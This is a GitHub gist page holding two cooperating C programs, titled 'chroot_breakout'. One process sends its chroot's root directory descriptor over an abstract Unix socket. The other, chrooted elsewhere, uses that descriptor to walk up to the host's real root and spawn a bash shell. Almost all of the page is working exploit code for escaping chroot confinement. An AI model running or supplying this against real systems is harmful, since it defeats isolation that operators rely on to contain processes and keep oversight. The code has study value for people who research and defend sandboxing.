Created
July 13, 2015 20:58
-
-
Save thejh/94e02f15d5fa136c6816 to your computer and use it in GitHub Desktop.
chroot_breakout: uses two cooperating processes in different chroots
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <sys/socket.h> | |
#include <sys/un.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#define ERR(s) puts(s), exit(1); | |
#define SYSERR(s) perror(s), exit(1); | |
int main(void) { | |
// prepare unix domain socket | |
int s = socket(AF_UNIX, SOCK_DGRAM, 0); | |
if (s < 0) SYSERR("unable to create unix domain socket") | |
struct sockaddr_un addr = { | |
.sun_family = AF_UNIX, | |
.sun_path = "\0breakout" | |
}; | |
if (bind(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8)) | |
SYSERR("unable to bind abstract socket") | |
puts("waiting for connection from other chroot..."); | |
// change working directory into other chroot | |
int len = sizeof(struct cmsghdr) + sizeof(int); | |
struct cmsghdr *hdr = alloca(len); | |
struct msghdr msg = { | |
.msg_control = hdr, | |
.msg_controllen = len | |
}; | |
if (recvmsg(s, &msg, 0) < 0) SYSERR("unable to receive fd") | |
if (hdr->cmsg_len != len || hdr->cmsg_level != SOL_SOCKET | |
|| hdr->cmsg_type != SCM_RIGHTS) | |
ERR("got bad message") | |
puts("got rootfd from other chroot..."); | |
if (fchdir(*(int*)CMSG_DATA(hdr))) SYSERR("unable to change into received fd") | |
char curpath[4096]; | |
if (!getcwd(curpath, sizeof(curpath))) SYSERR("unable to getpath()") | |
if (curpath[0] != '(') | |
ERR("it seems like the other process is chrooted into the same " | |
"directory as you or one below it?") | |
printf("chdir successful, am now in %s\n", curpath); | |
// chdir up to / | |
for (char *cp = curpath; *cp; cp++) if (*cp == '/') { | |
if (chdir("..")) SYSERR("chdir(..)"); | |
} | |
// and that's it! | |
puts("spawning shell in the real /..."); | |
system("/bin/bash"); | |
puts("you're back in the chroot"); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <fcntl.h> | |
#include <sys/socket.h> | |
#include <sys/un.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#define ERR(s) puts(s), exit(1); | |
#define SYSERR(s) perror(s), exit(1); | |
int main(void) { | |
int rootfd = open("/", O_PATH); | |
if (rootfd < 0) SYSERR("unable to open rootdir of chroot") | |
int s = socket(AF_UNIX, SOCK_DGRAM, 0); | |
if (s < 0) SYSERR("unable to create unix domain socket") | |
struct sockaddr_un addr = { | |
.sun_family = AF_UNIX, | |
.sun_path = "\0breakout" | |
}; | |
if (connect(s, (struct sockaddr *)&addr, sizeof(sa_family_t)+1+8)) | |
SYSERR("unable to connect to abstract socket") | |
puts("connected to other chroot, sending rootfd..."); | |
int len = sizeof(struct cmsghdr) + sizeof(int); | |
struct cmsghdr *hdr = alloca(len); | |
*hdr = (struct cmsghdr) { | |
.cmsg_len = len, | |
.cmsg_level = SOL_SOCKET, | |
.cmsg_type = SCM_RIGHTS | |
}; | |
*(int*)CMSG_DATA(hdr) = rootfd; | |
struct msghdr msg = { | |
.msg_control = hdr, | |
.msg_controllen = len | |
}; | |
if (sendmsg(s, &msg, 0) < 0) SYSERR("unable to send fd") | |
puts("all ok on this side! the other chrooted process should now be able to break out."); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment